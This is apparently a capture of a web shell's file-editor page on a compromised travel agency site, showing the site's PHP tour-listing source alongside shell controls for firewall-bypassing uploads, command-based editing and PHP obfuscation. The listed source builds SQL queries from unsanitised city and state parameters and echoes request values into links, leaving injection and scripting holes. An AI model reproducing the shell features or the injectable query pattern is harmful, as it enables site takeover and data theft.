Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u619466350
domains
a1toursandtravels.com
public_html
File Name:
<?php ob_start(); //session_start(); include('admin/config/connection_config.php'); //page url link get function curPageURL() { $pageURL = 'http'; //if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>All Top Destination Packages, A1 Tour & Travel</title> <!-- Font Awesome --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.0/css/font-awesome.min.css"> <!-- Bootstrap core CSS --> <link href="css/c.css" rel="stylesheet"> <!-- Material Design Bootstrap --> <link href="css/mdb.min.css" rel="stylesheet"> <!-- Your Main styles CSS --> <link href="css/color_style.css" rel="stylesheet"> <!-----searching script-----> <script> function showduration(str) { window.location="all_destnation.php?token=" + str; } function showcity(str) { window.location="all_destnation.php?city=" + str; } function showstate(str) { window.location="all_destnation.php?state=" + str; } </script> <!-----/searching script-----> </head> <body> <!-- Start project--> <!--header--> <?php require("include/header.php"); ?> <!--/header--> <!--Navbar--> <?php require("include/nav.php"); ?> <!--/.Navbar--> <!--content start--> <content> <div class="row"> <br> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"> <h1> <font color="#feba32"> All </font> <font color="#0cc754">Top Destination </font></h1> <div class="clearfix"></div> <hr> </div> <!----Tour Detail----> <div class="col-lg-8 col-md-8 col-sm-6 col-xs-12"> <div class="panel-body"> <?php @$limit=$_GET['limit']; // Read the limit value from query string. if(strlen($limit) > 0 and !is_numeric($limit)){ echo "Data Error"; exit; } // If there is a selection or value of limit then the list box should show that value , so we have to lock that options // // Based on the value of limit we will assign selected value to the respective option// switch($limit) { case 2: $select2="selected"; $select10=""; $select5=""; break; case 5: $select5="selected"; $select10=""; $select2=""; break; default: $select10="selected"; $select5=""; $select2=""; break; } @$start=$_GET['start']; if(strlen($start) > 0 and !is_numeric($start)){ echo "Data Error"; exit; } ///// End of drop down to select number of records per page /////// $eu = ($start - 0); if(!$limit > 0 ){ // if limit value is not available then let us use a default value $limit =12; // No of records to be shown per page by default. } $this1 = $eu + $limit; $back = $eu - $limit; $next = $eu + $limit; //------Row Counting Start------// if((isset($_GET['token'])=='') && (isset($_GET['city'])=='') && (isset($_GET['state'])=='')) { $sql = "SELECT count(*) cnt FROM topdestinations_tb order by id desc"; } else if(isset($_GET['token'])!='') { $token = $_GET['token']; if($token==6){ $sql = "SELECT count(*) cnt FROM topdestinations_tb where duration <= 6 order by duration desc"; } else{ $sql = "SELECT count(*) cnt FROM topdestinations_tb where duration >= 7 order by duration desc"; } } else if(isset($_GET['city'])!='') { $city = $_GET['city']; $sql = "SELECT count(*) cnt FROM topdestinations_tb where city='$city' "; } else if(isset($_GET['state'])!='') { $state = $_GET['state']; $sql = "SELECT count(*) cnt FROM topdestinations_tb where state='$state' "; } $rs_result = mysqli_query ($con,$sql); while($_row = mysqli_fetch_array($rs_result)) { $cnt=$_row['cnt']; } if($cnt==0) { echo "<br /><center><h2 style='color:red;'>No Record Found!</h2></center>"; } //------Row Counting End------// else { if((isset($_GET['token'])=='') && (isset($_GET['city'])=='') && (isset($_GET['state'])=='')) { $sql = "SELECT * FROM topdestinations_tb order by id desc limit $eu, $limit"; } else if(isset($_GET['token'])!='') { $token = $_GET['token']; if($token==6){ $sql = "SELECT * FROM topdestinations_tb where duration <= 6 order by duration desc limit $eu, $limit"; } else{ $sql = "SELECT * FROM topdestinations_tb where duration >= 7 order by duration desc limit $eu, $limit"; } } else if(isset($_GET['city'])!='') { $city = $_GET['city']; $sql = "SELECT * FROM topdestinations_tb where city ='$city' order by id desc limit $eu, $limit"; } else if(isset($_GET['state'])!='') { $state = $_GET['state']; $sql = "SELECT * FROM topdestinations_tb where state ='$state' order by id desc limit $eu, $limit"; } $rs_result = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($rs_result)){ $id = $row[0]; $cat_name = $row[1]; $country = $row[2]; $state = $row[3]; $city = $row[4]; $local_area = $row[5]; $desti_name = $row[6]; $duration = $row[7]; $destination_covered = $row[8]; $price = $row[9]; $banner_image = $row[10]; $thumb_banner = $row[11]; $path1 = $row[13]; $path2 = $row[14]; $path3 = $row[15]; $path4 = $row[16]; $discription = $row[17]; $m1 = $row[18]; $m2 = $row[19]; $m3 = $row[20]; $m4 = $row[21]; $m5 = $row[22]; $m6 = $row[23]; $m7 = $row[24]; $m8 = $row[25]; $m9 = $row[26]; $m10 = $row[27]; $m11 = $row[28]; $m12 = $row[29]; ?> <!--Card--> <div class="col-lg-1 col-md-1 col-sm-1 col-xs-12" style="background: url(img/bookmark-bg1.png);background-size: 100% 100%;padding:20px 10px"> <center><h5 class="white-text"><b><?php echo $duration; ?> NIGHT</b></h3><br><center></div> <div class="col-lg-11 col-md-11 col-sm-11 col-xs-12" style="padding:0;"> <div class="card"> <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12" style="padding:0;"> <!--Card image--> <img class="img-fluid" src="upload/Banner/<?php echo $thumb_banner; ?>" alt="Card image cap" style="max-height:150px"> <!--/.Card image--> </div> <div class="col-lg-8 col-md-8 col-sm-8 col-xs-12"> <!--Card content--> <div class="card-block"> <!--Title--> <h4 class="card-title" style="color:#33b5e5"><b><?php echo $desti_name; ?></b></h4> <!--Text--> <p class="card-text"><?php echo $destination_covered; ?></p> <a href="" class="btn btn-success">Rs. <?php echo $price; ?></a> <a href="view_destination.php?id=<?php echo $id; ?>" class="btn btn-primary">view detail</a> <!--Button: contact form--> <a href="view_destination.php?id=<?php echo $id; ?>" class="btn btn-danger waves-effect waves-light">Enquiry Send <i class="fa fa-fighter-jet"></i> </a> </div> <!--/.Card content--> </div> <div class="clearfix"></div> </div> <!--/.Card--> </div> <?php } ?> <div class="clearfix"></div><br> <!------Paging Start--------> <div class="pp"> <center> <?php if((isset($_GET['token'])=='') && (isset($_GET['city'])=='') && (isset($_GET['state'])=='')) { $query = "select count(id) from topdestinations_tb order by id desc"; $nume1 = mysqli_query ($con,$query); while($row = mysqli_fetch_array($nume1)) { $nume=$row[0]; } if($back >=0) { ?> <!--prev btn---> <a class='btn btn-default' href='all_destnation.php?start=<?php echo $back;?>&limit=<?php echo $limit;?>'> <i class="fa fa-angle-left"></i> </a> <?php } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// $i=1; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ ?> <!--numbring btn---> <a class='btn btn-danger' href='all_destnation.php?start=<?php echo $i;?>&limit=<?php echo $limit;?>'><?php echo $l;?></a> <?php } else { echo "<span class='btn btn-success'>$l</span>";} /// Current page is not displayed as link and given font color red $l=$l+1; } ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { ?> <!--next btn---> <a class='btn btn-default' href='all_destnation.php?start=<?php echo $next;?>&limit=<?php echo $limit;?>'> <i class="fa fa-angle-right"></i> </a> <?php } } else if(isset($_GET['token'])!='') { $token = $_GET['token']; if($token==6){ $sql = "SELECT count(id) from topdestinations_tb where duration <= 6 order by duration desc"; } else{ $sql = "SELECT count(id) from topdestinations_tb where duration >= 7 order by duration desc"; } $nume1 = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($nume1)) { $nume=$row[0]; } if($back >=0) { ?> <!--prev btn---> <a class='btn btn-default' href='all_destnation.php?token=<?php echo $_GET['token'];?>&start=<?php echo $back;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-left"></i></a> <?php } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// $i=1; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ ?> <!--Numbering btn---> <a class='btn btn-danger' href='all_destnation.php?token=<?php echo $_GET['token'];?>&start=<?php echo $i;?>&limit=<?php echo $limit;?>'><?php echo $l;?></a> <?php } else { echo "<span class='btn btn-success'>$l</span>";} /// Current page is not displayed as link and given font color red $l=$l+1; } ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { ?> <!--next btn---> <a class='btn btn-default' href='all_destnation.php?token=<?php echo $_GET['token'];?>&start=<?php echo $next;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-right"></i></a> <?php } } else if(isset($_GET['city'])!='') { $city = $_GET['city']; $sql = "SELECT count(id) from topdestinations_tb where city = '$city' "; $nume1 = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($nume1)) { $nume=$row[0]; } if($back >=0) { ?> <!--prev btn---> <a class="btn btn-default" href='all_destnation.php?city=<?php echo $city; ?>&start=<?php echo $back;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-left"></i></a> <?php } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// $i=1; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ ?> <!--numbring btn---> <a class="btn btn-danger" href='all_destnation.php?city=<?php echo $city; ?>&start=<?php echo $i;?>&limit=<?php echo $limit;?>'><?php echo $l;?></span></a> <?php } else { echo "<span class='btn btn-success'>$l</span>";} /// Current page is not displayed as link and given font color red $l=$l+1; } ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { ?> <!--next btn---> <a class="btn btn-default" href='all_destnation.php?city=<?php echo $city; ?>&start=<?php echo $next;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-right"></i></a> <?php } } else if(isset($_GET['state'])!='') { $state = $_GET['state']; $sql = "SELECT count(id) from topdestinations_tb where state = '$state' "; $nume1 = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($nume1)) { $nume=$row[0]; } if($back >=0) { ?> <!--prev btn---> <a class="btn btn-default" href='all_destnation.php?state=<?php echo $state; ?>&start=<?php echo $back;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-left"></i></a> <?php } //////////////// Let us display the page links at center. We will not display the current page as a link /////////// $i=1; $l=1; for($i=0;$i < $nume;$i=$i+$limit){ if($i <> $eu){ ?> <!--numbring btn---> <a class="btn btn-danger" href='all_destnation.php?state=<?php echo $state; ?>&start=<?php echo $i;?>&limit=<?php echo $limit;?>'><?php echo $l;?></span></a> <?php } else { echo "<span class='btn btn-success'>$l</span>";} /// Current page is not displayed as link and given font color red $l=$l+1; } ///////////// If we are not in the last page then Next link will be displayed. Here we check that ///// if($this1 < $nume) { ?> <!--next btn---> <a class="btn btn-default" href='all_destnation.php?state=<?php echo $state; ?>&start=<?php echo $next;?>&limit=<?php echo $limit;?>'><i class="fa fa-angle-right"></i></a> <?php } } ?> </center> </div> <!------/Paging End--------> <?php } ?> </div> </div> <!-----/Tour Detail ------> <!-----seaching div ------> <div class="col-lg-4 col-md-4 col-sm-6 col-xs-12"> <div style="background: #eee;padding: 20px;"> <div class="bg-img"> <select name="Category" class="form-control" onchange="showduration(this.value)" style="background:white;"> <option value="">Search by duration</option> <option value="6">1-7 days</option> <option value="15">7-15 days</option> </select> </div> <div class="clearfix"></div> <hr> <div class="bg-img"> <select class="form-control" name="legory" onchange="showcity(this.value)" style="background:white;"> <option value="">Search by City...</option> <?php $sql = "select * from mastercity_tb order by city"; $rs_result = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($rs_result)){ $city_name = $row[2]; ?> <option value="<?php echo $city_name; ?>"><?php echo $city_name; ?></option> <?php } ?> </select> </div> <div class="clearfix"></div> <hr> <div class="bg-img"> <select class="form-control" name="legory" onchange="showstate(this.value)" style="background:white;"> <option value="">Search by State...</option> <?php $sql = "SELECT DISTINCT state FROM topdestinations_tb"; $rs_result = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($rs_result)){ $state = $row['state']; ?> <option value="<?php echo $state; ?>"><?php echo $state; ?></option> <?php } ?> </select> </div> <div class="clearfix"></div> <hr> <div class="bg-img"> <select class="form-control" name="legory" onchange="showstate(this.value)" style="background:white;"> <option value="">Search by State...</option> <?php $sql = "SELECT DISTINCT state FROM topdestinations_tb"; $rs_result = mysqli_query ($con,$sql); while($row = mysqli_fetch_array($rs_result)){ $state = $row['state']; ?> <option value="<?php echo $state; ?>"><?php echo $state; ?></option> <?php } ?> </select> </div> <div class="clearfix"></div> <hr> <!--Top Themes--> <?php require("include/theme.php"); ?> <!--/.Top Themes--> </div> <!-----/seaching div ------> </div> </div><br> </content> <!--Content End--> <!--Footer section--> <?php require("include/footer.php"); ?> <!--/.Footer section--> <!-- /Start project--> <!-- JQuery --> <script type="text/javascript" src="js/jquery-2.2.3.min.js"></script> <!-- Bootstrap core JavaScript --> <script type="text/javascript" src="js/bootstrap.min.js"></script> </body> </html>
Bypass Options
Select edit method
Using basic write file
Using command
Info
Info!
If the strings too long, it will be failed to edit file (command method only).
Obfuscate PHP:
No Obfuscate
Obfuscate
Save Changes